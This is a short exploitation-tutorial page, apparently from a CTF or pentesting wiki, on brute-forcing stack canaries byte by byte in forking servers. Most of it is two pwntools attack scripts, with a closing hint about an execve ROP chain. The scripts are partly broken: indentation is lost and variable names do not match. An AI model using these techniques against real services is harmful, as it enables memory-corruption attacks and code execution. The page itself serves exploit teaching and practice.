# BF Forked & Threaded Stack Canaries

## Brute force Canary

### 示例 1

``````from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary``````

### 示例2

``````from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")``````

## 其他示例和参考资料

• 64位，无PIE，nx，BF canary，在某个内存中写入ROP以调用`execve`并跳转到那里。

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